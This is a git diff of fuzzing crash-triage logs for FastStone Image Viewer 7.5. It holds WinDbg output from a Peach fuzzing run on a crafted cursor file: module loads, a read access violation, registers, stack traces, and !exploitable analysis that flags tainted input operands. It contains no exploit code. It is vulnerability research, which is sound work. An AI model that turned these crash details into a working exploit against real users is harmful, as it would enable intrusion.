00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +(588.c10): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=001a4002 ebx=0000ed2d ecx=07ee7b10 edx=00003879 esi=12738f10 edi=0fceafd4 +eip=005bdfc9 esp=0019f4a4 ebp=0019f94c iopl=0 nv up ei pl nz na pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210206 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=4020: top=0 cc=1000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0=-1.#SNAN0000000000000000e+0000 st1=-1.#SNAN0000000000000000e+0000 +st2=-1.#SNAN0000000000000000e+0000 st3= 5.743861801539748960000e+0017 +st4= 1.000000000000000000000e+0000 st5= 5.000000000000000000000e-0001 +st6= 6.250000000000000000000e-0002 st7= 3.000000000000000000000e+0002 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 0 +xmm7=2.11719e-037 4.05616e+022 2.38849e+014 -3.48257e-038 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +0019f94c 0060d6fc 00000000 0019f9b4 0019f984 image00000000_00400000+0x1bdfc9 +0019f9c4 005ff50b 0019f9d8 005ff787 0019fa48 image00000000_00400000+0x20d6fc +0019fa48 005ff1de 0019fa70 005ff1f9 0019fa68 image00000000_00400000+0x1ff50b +0019fa68 008ef1af 0019fa7c 008ef1b9 0019fb98 image00000000_00400000+0x1ff1de +0019fb98 009298d4 00000001 00000000 00000001 image00000000_00400000+0x4ef1af +0019fc30 0079d2a5 0019fc44 0079d2ec 0019fcdc image00000000_00400000+0x5298d4 +0019fcdc 007987f5 0019fcf0 007987ff 0019fd98 image00000000_00400000+0x39d2a5 +0019fd98 00473a07 0019fdd8 00473a11 0019fdbc image00000000_00400000+0x3987f5 +0019fdbc 004736f3 07fc8130 07f45930 004041f2 image00000000_00400000+0x73a07 +0019ff00 0047b058 0019ff2c 0047b062 0019ff24 image00000000_00400000+0x736f3 +0019ff24 009642e3 0019ff38 009642fe 0019ff70 image00000000_00400000+0x7b058 +0019ff70 7572f989 003f8000 7572f970 0019ffdc image00000000_00400000+0x5642e3 +0019ff80 770b7084 003f8000 92236a57 00000000 KERNEL32!BaseThreadInitThunk+0x19 +0019ffdc 770b7054 ffffffff 770d629c 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +0019ffec 00000000 00963a10 003f8000 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x1a4002 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:READ +FAULTING_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_COUNT:12 +BASIC_BLOCK_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfcb mov byte ptr [esi+edx+2],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfcf mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfd2 mov cl,byte ptr [eax-1] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfd5 mov byte ptr [esi+edx+1],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfd9 mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfdc mov cl,byte ptr [eax-2] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfdf mov byte ptr [esi+edx],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfe2 inc dword ptr [ebp-24h] +BASIC_BLOCK_INSTRUCTION:005bdfe5 add eax,4 +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfe8 dec ebx +BASIC_BLOCK_INSTRUCTION:005bdfe9 jne image00000000_00400000+0x1bdfb8 (005bdfb8) +MAJOR_HASH:0x67613208 +MINOR_HASH:0x2b68626d +STACK_DEPTH:15 +STACK_FRAME:image00000000_00400000+0x1bdfc9 +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff50b +STACK_FRAME:image00000000_00400000+0x1ff1de +STACK_FRAME:image00000000_00400000+0x4ef1af +STACK_FRAME:image00000000_00400000+0x5298d4 +STACK_FRAME:image00000000_00400000+0x39d2a5 +STACK_FRAME:image00000000_00400000+0x3987f5 +STACK_FRAME:image00000000_00400000+0x73a07 +STACK_FRAME:image00000000_00400000+0x736f3 +STACK_FRAME:image00000000_00400000+0x7b058 +STACK_FRAME:image00000000_00400000+0x5642e3 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x00000000005bdfc9 +INVOKING_STACK_FRAME:0 +DESCRIPTION:Read Access Violation +SHORT_DESCRIPTION:ReadAV +CLASSIFICATION:UNKNOWN +BUG_TITLE:Read Access Violation starting at image00000000_00400000+0x00000000001bdfc9 (Hash=0x67613208.0x2b68626d) diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/58193/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/58193/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..a460ff6 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/58193/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/59948/Initial/SystemDebugger_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/59948/Initial/SystemDebugger_description.txt new file mode 100644 index 0000000..24ca36b --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/59948/Initial/SystemDebugger_description.txt @@ -0,0 +1,2 @@ +First Chance Exception: 0xc0000005 +Access Violation Reading From 0x00000000001a4002 \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/59948/Initial/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/59948/Initial/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..a460ff6 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/59948/Initial/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/59948/WindowsDebugEngine_StackTrace.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/59948/WindowsDebugEngine_StackTrace.txt new file mode 100644 index 0000000..59ba168 --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/59948/WindowsDebugEngine_StackTrace.txt @@ -0,0 +1,191 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`f7d90000 00007ffa`f7f84000 ntdll.dll +ModLoad: 00000000`77050000 00000000`771f2000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0x1998: page heap enabled with flags 0x3. +ModLoad: 00007ffa`f6430000 00007ffa`f6489000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`f6520000 00007ffa`f65a3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77040000 00000000`7704a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74ec0000 00000000`74f25000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0x1998: page heap enabled with flags 0x3. +ModLoad: 00000000`75710000 00000000`75800000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`754f0000 00000000`75703000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75ac0000 00000000`75c53000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75de0000 00000000`75df8000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`768f0000 00000000`76913000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75e00000 00000000`75eda000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`76300000 00000000`7637b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`764a0000 00000000`765c0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76870000 00000000`768e9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76380000 00000000`7643f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76280000 00000000`762f5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`75a00000 00000000`75aba000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76750000 00000000`767e6000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`76000000 00000000`76280000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75c60000 00000000`75d43000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74eb0000 00000000`74eb8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`74ea0000 00000000`74ea6000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`75400000 00000000`75425000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`769b0000 00000000`76f57000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`74c90000 00000000`74ea0000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_fd031af45b0106f2\comctl32.dll +ModLoad: 00000000`74c20000 00000000`74c8d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75ee0000 00000000`75f8f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`75d50000 00000000`75dd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`753b0000 00000000`753f5000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74c00000 00000000`74c1b000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74bd0000 00000000`74bf2000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74ba0000 00000000`74bc8000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`74a00000 00000000`74b9a000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`749e0000 00000000`749f9000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`75800000 00000000`75819000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`743b0000 00000000`743cd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`743d0000 00000000`749d4000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`74380000 00000000`743a3000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74300000 74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76f60000 00000000`77032000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`765c0000 00000000`7661c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75370000 00000000`753ab000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`767f0000 00000000`7686e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c2000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741f8000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73bc0000 00000000`73d24000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`73d30000 00000000`73f10000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73958000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f1000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +(1998.224): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=001a4002 ebx=0000ed2d ecx=07e97b10 edx=00003879 esi=12738f10 edi=0fce4fd4 +eip=005bdfc9 esp=0019f4a4 ebp=0019f94c iopl=0 nv up ei pl nz na pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210206 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=4020: top=0 cc=1000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0=-1.#SNAN0000000000000000e+0000 st1=-1.#SNAN0000000000000000e+0000 +st2=-1.#SNAN0000000000000000e+0000 st3= 5.729788052700939360000e+0017 +st4= 1.000000000000000000000e+0000 st5= 5.000000000000000000000e-0001 +st6= 6.250000000000000000000e-0002 st7= 3.000000000000000000000e+0002 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 0 +xmm7=-2.71796e+013 -1.20234e+030 6.88011e+028 4.47185e+017 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +0019f94c 0060d6fc 00000000 0019f9b4 0019f984 image00000000_00400000+0x1bdfc9 +0019f9c4 005ff50b 0019f9d8 005ff787 0019fa48 image00000000_00400000+0x20d6fc +0019fa48 005ff1de 0019fa70 005ff1f9 0019fa68 image00000000_00400000+0x1ff50b +0019fa68 008ef1af 0019fa7c 008ef1b9 0019fb98 image00000000_00400000+0x1ff1de +0019fb98 009298d4 00000001 00000000 00000001 image00000000_00400000+0x4ef1af +0019fc30 0079d2a5 0019fc44 0079d2ec 0019fcdc image00000000_00400000+0x5298d4 +0019fcdc 007987f5 0019fcf0 007987ff 0019fd98 image00000000_00400000+0x39d2a5 +0019fd98 00473a07 0019fdd8 00473a11 0019fdbc image00000000_00400000+0x3987f5 +0019fdbc 004736f3 07f78130 07ef5930 004041f2 image00000000_00400000+0x73a07 +0019ff00 0047b058 0019ff2c 0047b062 0019ff24 image00000000_00400000+0x736f3 +0019ff24 009642e3 0019ff38 009642fe 0019ff70 image00000000_00400000+0x7b058 +0019ff70 7572f989 0025b000 7572f970 0019ffdc image00000000_00400000+0x5642e3 +0019ff80 770b7084 0025b000 9feb2a47 00000000 KERNEL32!BaseThreadInitThunk+0x19 +0019ffdc 770b7054 ffffffff 770d62aa 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +0019ffec 00000000 00963a10 0025b000 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x1a4002 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:READ +FAULTING_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_COUNT:12 +BASIC_BLOCK_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfcb mov byte ptr [esi+edx+2],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfcf mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfd2 mov cl,byte ptr [eax-1] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfd5 mov byte ptr [esi+edx+1],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfd9 mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfdc mov cl,byte ptr [eax-2] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfdf mov byte ptr [esi+edx],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfe2 inc dword ptr [ebp-24h] +BASIC_BLOCK_INSTRUCTION:005bdfe5 add eax,4 +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfe8 dec ebx +BASIC_BLOCK_INSTRUCTION:005bdfe9 jne image00000000_00400000+0x1bdfb8 (005bdfb8) +MAJOR_HASH:0x67613208 +MINOR_HASH:0x2b68626d +STACK_DEPTH:15 +STACK_FRAME:image00000000_00400000+0x1bdfc9 +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff50b +STACK_FRAME:image00000000_00400000+0x1ff1de +STACK_FRAME:image00000000_00400000+0x4ef1af +STACK_FRAME:image00000000_00400000+0x5298d4 +STACK_FRAME:image00000000_00400000+0x39d2a5 +STACK_FRAME:image00000000_00400000+0x3987f5 +STACK_FRAME:image00000000_00400000+0x73a07 +STACK_FRAME:image00000000_00400000+0x736f3 +STACK_FRAME:image00000000_00400000+0x7b058 +STACK_FRAME:image00000000_00400000+0x5642e3 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x00000000005bdfc9 +INVOKING_STACK_FRAME:0 +DESCRIPTION:Read Access Violation +SHORT_DESCRIPTION:ReadAV +CLASSIFICATION:UNKNOWN +BUG_TITLE:Read Access Violation starting at image00000000_00400000+0x00000000001bdfc9 (Hash=0x67613208.0x2b68626d) diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/59948/WindowsDebugEngine_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/59948/WindowsDebugEngine_description.txt new file mode 100644 index 0000000..59ba168 --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/59948/WindowsDebugEngine_description.txt @@ -0,0 +1,191 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`f7d90000 00007ffa`f7f84000 ntdll.dll +ModLoad: 00000000`77050000 00000000`771f2000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0x1998: page heap enabled with flags 0x3. +ModLoad: 00007ffa`f6430000 00007ffa`f6489000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`f6520000 00007ffa`f65a3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77040000 00000000`7704a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74ec0000 00000000`74f25000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0x1998: page heap enabled with flags 0x3. +ModLoad: 00000000`75710000 00000000`75800000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`754f0000 00000000`75703000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75ac0000 00000000`75c53000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75de0000 00000000`75df8000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`768f0000 00000000`76913000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75e00000 00000000`75eda000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`76300000 00000000`7637b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`764a0000 00000000`765c0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76870000 00000000`768e9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76380000 00000000`7643f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76280000 00000000`762f5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`75a00000 00000000`75aba000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76750000 00000000`767e6000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`76000000 00000000`76280000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75c60000 00000000`75d43000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74eb0000 00000000`74eb8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`74ea0000 00000000`74ea6000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`75400000 00000000`75425000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`769b0000 00000000`76f57000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`74c90000 00000000`74ea0000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_fd031af45b0106f2\comctl32.dll +ModLoad: 00000000`74c20000 00000000`74c8d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75ee0000 00000000`75f8f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`75d50000 00000000`75dd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`753b0000 00000000`753f5000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74c00000 00000000`74c1b000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74bd0000 00000000`74bf2000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74ba0000 00000000`74bc8000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`74a00000 00000000`74b9a000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`749e0000 00000000`749f9000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`75800000 00000000`75819000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`743b0000 00000000`743cd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`743d0000 00000000`749d4000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`74380000 00000000`743a3000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74300000 74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76f60000 00000000`77032000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`765c0000 00000000`7661c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75370000 00000000`753ab000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`767f0000 00000000`7686e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c2000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741f8000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73bc0000 00000000`73d24000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`73d30000 00000000`73f10000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73958000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll 